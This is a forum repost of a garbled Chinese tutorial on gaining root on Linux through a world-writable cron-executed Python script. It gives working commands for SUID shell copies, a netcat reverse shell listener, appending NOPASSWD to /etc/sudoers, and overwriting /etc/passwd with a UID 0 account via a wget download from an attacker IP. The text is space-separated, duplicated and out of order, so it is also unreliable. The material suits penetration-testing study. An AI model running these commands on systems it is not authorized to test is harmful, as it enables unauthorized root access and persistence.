搜索

[12837] 2018-06-17_在Linux上通过可写文件获取root权限的多种方式

文档创建者：s7ckTeam
浏览次数：19
最后更新：2025-01-18
2018-06-17_在Linux上通过可写文件获取root权限的多种方式 在 L i n u x 上 通 过 可 写 文 件 获 取 r o o t 权 限 的 多 种 方 式 s e c i s t   F r e e B u f   2 0 1 8 - 0 6 - 1 7 在 在 L i n u x 中 ， 一 切 都 可 以 看 做 文 件 ， 包 括 所 有 允 许 中 ， 一 切 都 可 以 看 做 文 件 ， 包 括 所 有 允 许 / 禁 止 读 写 执 行 权 限 的 目 录 和 设 备 。 当 管 理 员 为 任 何 文 件 设 置 禁 止 读 写 执 行 权 限 的 目 录 和 设 备 。 当 管 理 员 为 任 何 文 件 设 置 权 限 时 ， 都 应 清 楚 并 合 理 为 每 个 权 限 时 ， 都 应 清 楚 并 合 理 为 每 个 L i n u x 用 户 分 配 应 有 的 读 写 执 行 权 限 。 在 本 文 中 我 将 为 大 家 展 示 ， 如 何 利 用 用 户 分 配 应 有 的 读 写 执 行 权 限 。 在 本 文 中 我 将 为 大 家 展 示 ， 如 何 利 用 L i n u x 中 具 有 写 入 权 限 的 文 件 中 具 有 写 入 权 限 的 文 件 / 脚 本 来 进 行 提 权 操 作 。 想 要 了 解 更 多 关 于 脚 本 来 进 行 提 权 操 作 。 想 要 了 解 更 多 关 于 L i n u x 系 统 权 限 的 内 容 ， 可 以 阅 读 这 篇 文 系 统 权 限 的 内 容 ， 可 以 阅 读 这 篇 文 章 。 好 了 ， 话 不 多 说 。 下 面 就 进 入 我 们 的 正 题 吧 ！ 章 。 好 了 ， 话 不 多 说 。 下 面 就 进 入 我 们 的 正 题 吧 ！ 首 先 ， 我 们 来 启 动 我 们 的 攻 击 机 并 渗 透 进 目 标 系 统 直 至 提 权 阶 段 。 这 里 假 设 我 通 过 s s h 成 功 登 录 到 了 受 害 者 机 器 ， 并 访 问 了 非 r o o t 用 户 的 终 端 。 通 过 以 下 命 令 ， 我 们 可 以 枚 举 所 有 具 有 可 写 权 限 的 二 进 制 文 件 。 可 以 看 到 在 / l i b / l o g 路 径 下 有 一 个 p y t h o n 文 件 ， 我 们 进 入 到 该 目 录 并 查 看 该 文 件 的 权 限 为 7 7 7 通 过 c a t 命 令 查 看 该 文 件 内 容 ， 这 是 管 理 员 添 加 的 一 个 用 来 清 除   / t m p 中 的 所 有 垃 圾 文 件 的 脚 本 ， 具 体 执 行 取 决 于 管 理 员 设 置 的 定 时 间 隔 。 获 取 了 这 些 信 息 后 ， 攻 击 者 可 以 通 过 以 下 方 式 来 执 行 提 权 操 作 。 方 法 方 法 1 我 们 复 制 了 / b i n / s h 到 / t m p 下 并 为 / t m p / s h 启 用 了 S U I D 。 使 用 编 辑 器 打 开 s a n i t i z e r . p y 并 将 “ r m   - r   / t m p / * ” 中 的 内 容 替 换 为 以 下 两 行 ： f i n d   /   - w r i t a b l e   - t y p e     f   2 > / d e v / n u l l   |   g r e p   - v   " / p r o c / " o s . s y s t e m ( ' c p   / b i n / s h   / t m p / s h ' ) o s . s y s t e m ( ' c h m o d   u + s   / t m p / s h ' )
一 段 时 间 后 ， 它 将 在 / t m p 目 录 内 创 建 一 个 具 有 S U I D 权 限 的 s h 文 件 ， 当 你 运 行 它 时 ， 你 将 会 获 取 r o o t 访 问 权 限 。 下 图 可 以 说 明 一 切 ！ 方 法 方 法 2 同 样 ， 你 也 可 以 将 “ r m   - r   / t m p / * ” 替 换 为 以 下 内 容 ： 一 段 时 间 后 ， 它 将 为 / b i n / d a s h 设 置 S U I D 权 限 ， 并 且 在 运 行 时 会 给 予 r o o t 访 问 权 限 。 如 下 图 所 示 ： c d   / t m p l s . / s h i d w h o a m i o s . s y s t e m ( ‘ c h m o d   u + s   / b i n / d a s h ) / b i n / d a s h i d w h o a m i
方 法 方 法 3 在 这 种 方 法 中 ， 我 们 在 r m   - r   / t m p / * 的 位 置 粘 贴 了 p y t h o n 反 向 s h e l l 连 接 代 码 ， 并 在 新 的 终 端 中 启 动 了 n e t c a t 侦 听 。 如 上 所 述 ， 经 过 一 段 时 间 后 ， 我 们 通 过 n e t c a t 获 取 了 具 有 r o o t 访 问 权 限 的 反 向 s h e l l 。 如 下 图 所 示 ： 方 法 方 法 4 这 个 方 法 挺 有 意 思 的 ， 在 下 图 中 大 家 可 以 看 到 我 当 前 的 用 户 是 没 有 执 行 s u d o 命 令 的 权 限 的 。 那 我 们 就 想 办 法 让 自 己 成 为 s u o d e r s 文 件 成 员 。 同 样 ， 我 们 将 “ r m   - r   / t m p / * ” 替 换 为 以 下 内 容 ： 过 一 段 时 间 后 ， 当 你 输 入 “ s u d o   - l ” 命 令 时 ， 你 会 注 意 到 ， 它 已 成 为 了 s u d o 用 户 的 成 员 。 此 时 我 们 只 要 输 入 “ s u d o b a s h ” 就 可 以 获 取 r o o t 访 问 权 限 。 n c   - l v p   1 2 3 4 i d w h o a m i o s . s y s t e m ( ' e c h o   " w e r n e r b r a n d e s   A L L = ( A L L )   N O P A S S W D :   A L L "   >   / e t c / s u d o e r s ' )
方 法 方 法 5 我 们 知 道 p a s s w d 在 任 何 类 l i n u x 的 系 统 中 都 扮 演 着 非 常 重 要 的 角 色 ， 一 旦 攻 击 者 有 机 会 可 以 修 改 此 文 件 ， 那 么 它 将 会 成 为 一 种 特 权 提 升 的 动 态 方 式 。 同 样 ， 我 们 也 不 会 忽 视 这 一 点 ， 使 用 c a t 命 令 读 取 e t c / p a s s w d 文 件 。 在 这 里 你 可 以 观 察 到 用 户 名 为 n e m o 记 录 的 高 亮 条 目 ， 根 据 我 的 猜 测 U I D : 1 0 0 0   &   G I D : 1 0 0 0 表 示 它 应 该 是 管 理 员 组 的 成 员 。 但 我 们 的 目 标 是 通 过 编 辑 n e m o 记 录 ， 使 其 成 为 r o o t 组 的 成 员 。 因 此 ， 我 们 选 择 并 复 制 e t c / p a s s w d 文 件 内 的 所 有 记 录 ， 然 后 将 它 粘 贴 到 一 个 空 的 文 本 文 件 中 。 然 后 在 一 个 新 的 终 端 中 使 用 o p e n s s l 生 成 一 个 加 盐 密 码 并 复 制 。 现 在 将 上 面 复 制 的 加 盐 密 码 粘 贴 至 用 户 n e m o 记 录 条 目 中 的 “ X ” 处 ， 并 且 将 U I D & G I D 更 改 为 0 ， 如 图 所 示 。 操 作 完 成 后 ， 将 文 本 文 件 保 存 为 “ p a s s w d ” ， 将 该 文 件 传 输 至 目 标 系 统 ， 它 将 覆 盖 原 始 p a s s w d 文 件 的 内 容 。 s u d o   - l s u d o   b a s h i d o p e n s s l   p a s s w d   - 1   - s a l t   a b c   1 2 3 c d   D e s k t o p p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0
同 样 ， 将 “ r m   - r   / t m p / * ” 替 换 为 以 下 内 容 ： 一 段 时 间 后 ， 它 会 启 用 / b i n / c p 的 S U I D 位 以 复 制 任 意 文 件 。 现 在 将 被 你 修 改 过 的 p a s s w d 文 件 下 载 至 目 标 系 统 的 / t m p 目 录 中 。 让 我 们 来 检 查 一 下 / b i n / c p 是 否 启 用 了 S U I D 位 ， 然 后 使 用 c p 命 令 将 修 改 的 p a s s w d 文 件 复 制 到 / e t c / p a s s w d 中 ， 这 将 覆 盖 原 始 p a s s w d 文 件 的 内 容 。 o s . s y s t e m ( ‘ c h m o d   u + s   / b i n / c p ) c d   / t m p w g e t   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 3 / p a s s w d l s   - a l   / b i n / c p c p   p a s s w d   / e t c / p a s s w d
现 在 ， 我 们 键 入 以 下 命 令 查 看 修 改 内 容 是 否 已 在 p a s s w d 文 件 中 生 效 。 可 以 看 到 修 改 内 容 已 成 功 写 入 ！ 执 行 以 下 命 令 获 取 r o o t 访 问 权 限 ： * 参 考 来 源 ： 参 考 来 源 ： h a c k i n g a r t i c l e s ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M t a i l   / e t c / p a s s w d s u   n e m o p a s s w o r d   1 2 3 w h o a m i
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理